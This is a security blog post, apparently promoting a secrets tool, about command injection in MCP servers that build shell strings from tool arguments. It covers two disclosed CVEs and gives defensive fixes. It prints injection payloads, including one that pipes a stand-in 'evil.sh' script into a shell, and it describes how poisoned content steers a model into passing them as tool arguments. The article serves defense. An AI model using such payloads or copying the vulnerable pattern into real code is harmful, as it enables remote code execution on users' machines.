Command injection is the most common MCP server bugWhy MCP servers keep shipping RCEs.
Most MCP server bugs are not exotic protocol attacks. They are the same shell-injection mistake the industry has been making since CGI scripts, now wired to an LLM that will happily type the payload for an attacker.
-
01
Source
Tool argument
namespace, path, or repo name from a tool call
attacker-influenced -
02
Channel
shell=True
argument concatenated into a shell string
subprocess / exec -
03
Exposure
RCE
shell metacharacters run as commands
CWE-78
TL;DR· the answer, in twenty seconds
What: The single most common vulnerability class in MCP servers is command injection. A tool argument the model controls gets concatenated into a shell string and executed. Endor Labs scanned 2,614 MCP implementations and found 34% reach command-injection-prone APIs and 67% reach code-injection APIs.
Fix: Pass arguments as a list, never a shell string. Set shell=False. Allowlist any command name you spawn. Bind stdio and HTTP transports to localhost and validate the request origin so a web page cannot drive your server.
Lesson: An MCP server is a remote-code-execution endpoint that an LLM can be talked into calling. The protocol is new. The bug is 30 years old.
The most common way an MCP server gets popped in 2026 is not prompt injection or a poisoned tool description. It is command injection: a string the model controls reaches a shell, and shell metacharacters in that string run as commands. This is CWE-78, the same bug that ate CGI scripts in the 1990s. MCP gave it a new delivery mechanism and a willing courier.
Endor Labs scanned 2,614 MCP implementations and counted how many reach sensitive APIs by category. The numbers: 82% touch file operations prone to path traversal, 67% reach code-injection APIs, and 34% reach APIs susceptible to command injection. Those are not exploits in the wild. They are the count of servers holding a loaded gun. When researchers categorized the wave of MCP CVEs filed in early 2026 by root cause, exec and shell injection was the largest single bucket.
So before you sandbox anything or sign anything, look at where your server shells out.
The pattern: a string, a shell, and a model that types
An MCP server exposes tools. A tool takes arguments. Those arguments arrive in a JSON-RPC call that the model assembled, and the model assembled it from whatever was in its context: the user's prompt, a file it read, a web page it fetched, the output of another tool. None of that is trusted input.
Almost every command-injection MCP bug has the same shape. A tool wraps a CLI, and it builds the command line by formatting a string:
# vulnerable: the argument is interpolated into a shell string
def list_pods(namespace: str) -> str:
cmd = f"kubectl get pods -n {namespace}"
out = subprocess.run(cmd, shell=True, capture_output=True, text=True)
return out.stdout
shell=True hands cmd to /bin/sh -c. The shell then interprets ;, &&, |, $(), and backticks. So a namespace of default; curl https://evil.sh | sh does not list pods in a namespace with an odd name. It runs the attacker's installer. The model does not need to be malicious. It needs to be convinced, once, that the namespace it should pass is that string. A poisoned issue, a crafted error message, a README it summarized: any of those can carry the payload into the argument.
The fix at this layer is one line and zero new dependencies. Pass an argument vector and drop the shell:
# safe: arguments stay arguments, the shell never sees them
def list_pods(namespace: str) -> str:
out = subprocess.run(
["kubectl", "get", "pods", "-n", namespace],
shell=False, capture_output=True, text=True,
)
return out.stdout
With a list and shell=False, namespace is a single argv entry. kubectl receives it verbatim, rejects it as an invalid namespace, and nothing runs. Same lesson in Node: use execFile or spawn with an args array, never exec with a template literal. Same lesson in Go: exec.Command("kubectl", "get", ...), never sh -c.
CVE-2025-65719: a namespace you control, an RCE you do not
This is not hypothetical. OX Security disclosed CVE-2025-65719 in kubectl-mcp-server, an MCP server that lets Claude, Cursor, and other clients drive a Kubernetes cluster in natural language. The server built its kubectl invocations with subprocess and shell=True, and it took the namespace parameter straight from the tool call without sanitizing it. The bug affects versions below 1.2.0. A namespace value of default && echo pwned > pwned wrote the file. Anything you can write after && runs.
The delivery is the part worth sitting with. The server listened on localhost. A developer with the server running visits a web page, and the page issues a POST to 127.0.0.1 carrying a crafted JSON-RPC payload. The browser sends it. The server runs no origin check, so it treats the request as legitimate and executes the injected command. One page visit yields full code execution on the workstation and control of every cluster that workstation can reach. OX Security notified the maintainer on November 9, 2025; the maintainer responded on January 28, 2026 and shipped a patch.
Two failures stack here. The shell-string construction is the injection. The missing origin validation on a localhost listener is what lets a random web page reach the trigger without any access to your machine. You need to fix both. An argument vector closes the injection. Binding plus an Origin and Host check closes the drive-by.
CVE-2026-30623: when the transport itself is the injection
The argument-to-shell bug is the common case. There is a nastier variant where the command being spawned is the attacker-controlled value. OX Security reported CVE-2026-30623, a command injection reachable through the stdio transport in Anthropic's MCP SDK as consumed by LiteLLM. When a server was registered with transport: stdio, the SDK passed the command field straight to StdioServerParameters and ran it as a subprocess with no validation. Anyone who could create or update a server definition, or reach the connection-test preview endpoints, could name an arbitrary binary and have it run.
The stdio transport launches the server by running a command. That is how stdio MCP works. The config you already trust looks like this:
{
"mcpServers": {
"files": { "command": "npx", "args": ["-y", "@modelcontextprotocol/server-filesystem", "/srv"] }
}
}
The moment that command becomes dynamic, populated from a database row, an API request, a config a less-trusted user can edit, it is a remote shell. The fix was an allowlist: command may only be one of npx, uvx, python, python3, node, docker, or deno, enforced at request-parse time and again when the client is instantiated, with the preview endpoints locked to admin. The principle generalizes. If your system lets anything other than a static, code-reviewed config decide which binary spawns an MCP server, that input needs an allowlist and an authorization check before it gets near subprocess.
How common is this
Command injection looks like a beginner mistake, and it is, which is why people assume it has been engineered out. It has not. MCP servers are written fast, often by one person, often as a thin wrapper over a CLI that person already used from the shell. Wrapping git, kubectl, gh, ffmpeg, or psql by formatting a command string is the obvious first implementation, and it ships.
The Endor Labs figures put a number on the surface: across 2,614 implementations, 34% reach command-injection-prone APIs and 67% reach code-injection APIs. Not all of those are exploitable. The point is the base rate. When a third of servers in an ecosystem are even capable of shelling out with caller-influenced input, and the callers are models that ingest untrusted content all day, command injection stops being a tail risk and becomes the expected failure mode. The MCP server checklist work covers the install-time questions; this is the build-time one. See the MCP server security checklist for the consumer side and auditing a server before you install it for the review pass.
The NSA put it in writing
In May 2026 the NSA's Artificial Intelligence Security Center published security guidance for MCP deployments. The document names the categories: tool descriptions and tool outputs are prompt-injection surfaces, and serialization and deserialization can cross trust boundaries into code execution. It points at the case where chaining an injection with a serialization fault produced full RCE. Its framing is the useful part. These are systemic ecosystem problems, not bugs you patch at one endpoint, and the guidance lists input validation plus least-privilege scoping as required mitigations rather than optional hardening.
Read alongside the CVEs, the guidance lands as a restatement of application security fundamentals aimed at a community that skipped them. Validate input at the boundary. Do not build shell strings from untrusted data. Do not run a process with more authority than the task needs. The MCP specification tells you how a server talks to a client. It does not write your subprocess calls for you, and that is where the bodies are.
How to not ship this
The defenses are old and they work.
Pass arguments as a list and set shell=False, every time. If you need shell features like a pipeline, build the pipe in code with subprocess.Popen objects, not by handing a string to /bin/sh. In Node use execFile or spawn with an args array. In Go use exec.Command with separate args and never sh -c.
Validate before you execute. A namespace matches [a-z0-9-]+. A path resolves under an allowed root after you canonicalize it. A repo name has no shell metacharacters. Reject what does not match instead of escaping it; an allowlist of acceptable shapes beats a denylist of dangerous characters you will not remember all of.
Allowlist the binary. If your server spawns a command name from any source other than a static config, that name needs a fixed allowlist and an authorization check on whoever supplied it. CVE-2026-30623 is what the absence of that looks like.
Bind to localhost and check the origin. Local MCP servers should listen on 127.0.0.1, and any HTTP transport must validate the Origin and Host headers so a web page in the developer's browser cannot reach the server. The kubectl-mcp-server drive-by needed both the injection and the missing origin check; either control alone breaks the chain.
Run the process with less than it could want. The server should not inherit your full shell environment or your cluster-admin kubeconfig by default. Scope the credentials and the filesystem to the task. Sandboxing the server limits what a successful injection reaches.
What this means for your stack
If you build MCP servers, audit every place you spawn a process this week. Grep for shell=True, for exec( with template strings, for sh -c. Replace them with argument vectors and add input validation at the tool boundary. If you only run servers others wrote, assume a third of them shell out with model-influenced input, and treat each one as a process that can run arbitrary commands as you.
The architectural fix for the category is to stop trusting the runtime environment a server inherits. An MCP server that runs with your full credential set and an unscoped filesystem turns any injection into a full compromise. A server that holds only short-lived, least-privilege grants, requested at the moment it acts and revoked after, turns the same injection into a contained incident with an audit trail.
hasp is one working implementation of that idea. curl -fsSL https://gethasp.com/install.sh | sh, hasp setup, connect a project, and a server receives scoped, time-limited references instead of your raw keys and ambient environment. A command injection still runs, but what it can reach is bounded by the grant, not by everything in your shell. Source-available (FCL-1.0), local-first, macOS and Linux, no account.
None of that excuses the subprocess call. Scoping the blast radius and fixing the injection are different jobs, and you owe your users both. Pass the list and validate the input. Then make sure that when one of your dependencies forgets to, the credential it borrows is not the one that ends your week.
Sources· cited above, in one place
Stop handing the agent your real keys.
hasp keeps secrets in one local encrypted vault, brokers them into the child process at exec, and never lets the agent read the value.
- Local, encrypted vault — no account, no cloud, no telemetry by default.
- Brokered run — agent gets a reference, the child process gets the value.
- Pre-commit + pre-push hooks catch managed values before they ship.
- Append-only HMAC audit log answers "did the agent touch the prod token?" in seconds.
macOS & Linux. Source-available (FCL-1.0, converts to Apache 2.0). No account.